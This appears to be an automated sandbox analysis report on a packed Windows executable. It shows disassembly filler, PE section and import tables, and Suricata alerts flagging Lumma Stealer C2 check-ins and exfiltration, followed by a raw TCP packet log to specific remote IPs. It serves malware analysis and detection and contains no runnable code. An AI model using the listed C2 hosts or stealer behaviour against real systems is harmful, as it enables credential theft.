add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5c05c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5c1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5a000	0x27800	585a9bda113d159bcf29995a298a6e4a	False	0.9982261174841772	data	7.983803455666521	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5b000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5c000	0x1000	0x200	6821e858ec0b8e7e2533a33c0c061d34	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x5d000	0x2ac000	0x200	1fa022552002eccc61188176f7db90a9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ajmuuxok	0x309000	0x1a2000	0x1a1800	314982eb019c5d9aa49b2f90ee61d195	False	0.994653466504491	data	7.953728091501855	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ilrmrqfy	0x4ab000	0x1000	0x400	0a6ae1abf9b045efca28382e2ac09f4f	False	0.7880859375	data	6.045810651196934	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4ac000	0x3000	0x2200	14c445649dbf28cbd63ae51c156e78e9	False	0.062270220588235295	DOS executable (COM)	0.7724594734083793	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-16T20:12:09.364870+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-16T20:12:10.118062+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-16T20:12:10.118062+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-16T20:12:10.852189+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-16T20:12:12.961144+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-16T20:12:12.961144+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-16T20:12:14.613199+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	188.114.96.3	443	TCP
2024-11-16T20:12:16.153036+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	188.114.96.3	443	TCP
2024-11-16T20:12:17.806714+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	188.114.96.3	443	TCP
2024-11-16T20:12:19.537055+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	188.114.96.3	443	TCP
2024-11-16T20:12:20.250464+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49735	188.114.96.3	443	TCP
2024-11-16T20:12:21.435559+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	188.114.96.3	443	TCP
2024-11-16T20:12:31.936392+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	188.114.96.3	443	TCP
2024-11-16T20:12:32.400182+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49743	188.114.96.3	443	TCP
2024-11-16T20:12:33.346372+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49744	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 16, 2024 20:12:08.710009098 CET	49730	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:08.710103035 CET	443	49730	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:08.710201025 CET	49730	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:08.749619961 CET	49730	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:08.749674082 CET	443	49730	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:09.259856939 CET	49675	443	192.168.2.4	173.222.162.32
Nov 16, 2024 20:12:09.364640951 CET	443	49730	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:09.364870071 CET	49730	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:09.367959976 CET	49730	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:09.367971897 CET	443	49730	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:09.368515968 CET	443	49730	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:09.415996075 CET	49730	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:09.565568924 CET	49730	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:09.565568924 CET	49730	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:09.565900087 CET	443	49730	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:10.118100882 CET	443	49730	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:10.118225098 CET	443	49730	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:10.118314981 CET	49730	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:10.147108078 CET	49730	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:10.147160053 CET	443	49730	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:10.147188902 CET	49730	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:10.147203922 CET	443	49730	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:10.225821018 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:10.225878000 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:10.225991964 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:10.226432085 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:10.226449966 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:10.852101088 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:10.852189064 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:10.854173899 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:10.854202986 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:10.854998112 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:10.856709957 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:10.856748104 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:10.856786966 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:12.961163044 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:13.010073900 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:13.010104895 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:13.056759119 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:13.233961105 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:13.234158039 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:13.234509945 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:13.234575987 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:13.275410891 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:13.512161970 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:13.512342930 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:13.512434959 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:13.512510061 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:13.512516022 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:13.512545109 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:13.512569904 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:13.556710005 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:13.785290003 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:13.785393000 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:13.785437107 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:13.785470009 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:13.785594940 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:13.785670042 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:13.785670042 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:13.785670996 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:13.785887003 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:13.785936117 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:13.785968065 CET	49731	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:13.785983086 CET	443	49731	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:14.002319098 CET	49732	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:14.002418041 CET	443	49732	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:14.002512932 CET	49732	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:14.002846956 CET	49732	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:14.002882004 CET	443	49732	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:14.613081932 CET	443	49732	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:14.613198996 CET	49732	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:14.624406099 CET	49732	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:14.624480009 CET	443	49732	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:14.624851942 CET	443	49732	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:14.626348019 CET	49732	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:14.626564980 CET	49732	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:14.626604080 CET	443	49732	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:14.626689911 CET	49732	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:14.626703978 CET	443	49732	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:15.359997034 CET	443	49732	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:15.360191107 CET	443	49732	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:15.360265970 CET	49732	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:15.360378981 CET	49732	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:15.360403061 CET	443	49732	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:15.523222923 CET	49733	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:15.523312092 CET	443	49733	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:15.523444891 CET	49733	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:15.523932934 CET	49733	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:15.523968935 CET	443	49733	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:16.152806044 CET	443	49733	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:16.153036118 CET	49733	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:16.154664040 CET	49733	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:16.154679060 CET	443	49733	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:16.155189037 CET	443	49733	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:16.156831980 CET	49733	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:16.157005072 CET	49733	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:16.157046080 CET	443	49733	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:16.814697027 CET	443	49733	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:16.814804077 CET	443	49733	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:16.815043926 CET	49733	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:16.815152884 CET	49733	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:16.815212011 CET	443	49733	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:17.182245016 CET	49734	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:17.182312012 CET	443	49734	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:17.182415962 CET	49734	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:17.183064938 CET	49734	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:17.183083057 CET	443	49734	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:17.806622982 CET	443	49734	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:17.806714058 CET	49734	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:17.809125900 CET	49734	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:17.809145927 CET	443	49734	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:17.809545994 CET	443	49734	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:17.812218904 CET	49734	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:17.812623024 CET	49734	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:17.812789917 CET	443	49734	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:17.812930107 CET	49734	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:17.812941074 CET	443	49734	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:18.475281954 CET	443	49734	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:18.475506067 CET	443	49734	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:18.475752115 CET	49734	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:18.475920916 CET	49734	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:18.475954056 CET	443	49734	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:18.925915956 CET	49735	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:18.925968885 CET	443	49735	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:18.926094055 CET	49735	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:18.926561117 CET	49735	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:18.926579952 CET	443	49735	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:19.536887884 CET	443	49735	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:19.537055016 CET	49735	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:19.538362026 CET	49735	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:19.538415909 CET	443	49735	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:19.538775921 CET	443	49735	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:19.540487051 CET	49735	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:19.540592909 CET	49735	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:19.540606022 CET	443	49735	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:20.250524044 CET	443	49735	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:20.250786066 CET	443	49735	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:20.250854015 CET	49735	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:20.250854969 CET	49735	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:20.828788996 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:20.828874111 CET	443	49736	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:20.828968048 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:20.829463959 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:20.829498053 CET	443	49736	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:21.435456038 CET	443	49736	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:21.435559034 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:21.456876040 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:21.456949949 CET	443	49736	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:21.457705975 CET	443	49736	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:21.464037895 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:21.467782021 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:21.467850924 CET	443	49736	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:21.467998028 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:21.468067884 CET	443	49736	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:21.468204021 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:21.468425035 CET	443	49736	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:21.468605995 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:21.468676090 CET	443	49736	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:21.468852997 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:21.468902111 CET	443	49736	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:21.469101906 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:21.469153881 CET	443	49736	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:21.469178915 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:21.469208956 CET	443	49736	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:21.469327927 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:21.469407082 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:21.511369944 CET	443	49736	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:21.511631966 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:21.511754990 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:21.511792898 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:21.555368900 CET	443	49736	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:21.555702925 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:21.555846930 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:21.599348068 CET	443	49736	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:21.678411961 CET	443	49736	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:21.750206947 CET	49672	443	192.168.2.4	173.222.162.32
Nov 16, 2024 20:12:21.750250101 CET	443	49672	173.222.162.32	192.168.2.4
Nov 16, 2024 20:12:22.152420998 CET	49737	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:12:22.152507067 CET	443	49737	52.149.20.212	192.168.2.4
Nov 16, 2024 20:12:22.152621031 CET	49737	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:12:22.154867887 CET	49737	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:12:22.154902935 CET	443	49737	52.149.20.212	192.168.2.4
Nov 16, 2024 20:12:23.083051920 CET	443	49737	52.149.20.212	192.168.2.4
Nov 16, 2024 20:12:23.083260059 CET	49737	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:12:23.086980104 CET	49737	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:12:23.087011099 CET	443	49737	52.149.20.212	192.168.2.4
Nov 16, 2024 20:12:23.087450027 CET	443	49737	52.149.20.212	192.168.2.4
Nov 16, 2024 20:12:23.134876966 CET	49737	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:12:24.053303957 CET	49737	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:12:24.095352888 CET	443	49737	52.149.20.212	192.168.2.4
Nov 16, 2024 20:12:24.355834961 CET	443	49737	52.149.20.212	192.168.2.4
Nov 16, 2024 20:12:24.355895042 CET	443	49737	52.149.20.212	192.168.2.4
Nov 16, 2024 20:12:24.355915070 CET	443	49737	52.149.20.212	192.168.2.4
Nov 16, 2024 20:12:24.356051922 CET	49737	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:12:24.356062889 CET	443	49737	52.149.20.212	192.168.2.4
Nov 16, 2024 20:12:24.356118917 CET	443	49737	52.149.20.212	192.168.2.4
Nov 16, 2024 20:12:24.356134892 CET	49737	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:12:24.356153965 CET	443	49737	52.149.20.212	192.168.2.4
Nov 16, 2024 20:12:24.356173992 CET	49737	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:12:24.356177092 CET	443	49737	52.149.20.212	192.168.2.4
Nov 16, 2024 20:12:24.356239080 CET	49737	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:12:24.356271029 CET	49737	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:12:24.356297970 CET	443	49737	52.149.20.212	192.168.2.4
Nov 16, 2024 20:12:24.356441021 CET	443	49737	52.149.20.212	192.168.2.4
Nov 16, 2024 20:12:24.356508970 CET	49737	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:12:25.053898096 CET	49737	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:12:25.053898096 CET	49737	443	192.168.2.4	52.149.20.212
Nov 16, 2024 20:12:25.053977013 CET	443	49737	52.149.20.212	192.168.2.4
Nov 16, 2024 20:12:25.054009914 CET	443	49737	52.149.20.212	192.168.2.4
Nov 16, 2024 20:12:31.302746058 CET	443	49736	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:31.303044081 CET	443	49736	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:31.303092957 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:31.303162098 CET	49736	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:31.317805052 CET	49743	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:31.317898989 CET	443	49743	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:31.318011045 CET	49743	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:31.318423033 CET	49743	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:31.318459988 CET	443	49743	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:31.936275005 CET	443	49743	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:31.936392069 CET	49743	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:31.941930056 CET	49743	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:31.941960096 CET	443	49743	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:31.942375898 CET	443	49743	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:31.955017090 CET	49743	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:31.955054045 CET	49743	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:31.955194950 CET	443	49743	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:32.400223970 CET	443	49743	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:32.400460958 CET	443	49743	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:32.400532961 CET	49743	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:32.400803089 CET	49743	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:32.400846004 CET	443	49743	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:32.400902033 CET	49743	443	192.168.2.4	188.114.96.3
Nov 16, 2024 20:12:32.400918007 CET	443	49743	188.114.96.3	192.168.2.4
Nov 16, 2024 20:12:32.402268887 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:32.407372952 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:32.407455921 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:32.407546043 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:32.412904024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.346126080 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.346312046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.346345901 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.346371889 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.346395969 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.346431017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.346452951 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.346462965 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.346497059 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.346520901 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.346532106 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.346563101 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.346574068 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.346600056 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.346645117 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.351597071 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.351633072 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.351690054 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.505745888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.505789042 CET	80	49744	185.215.113.16	192.168.2.4
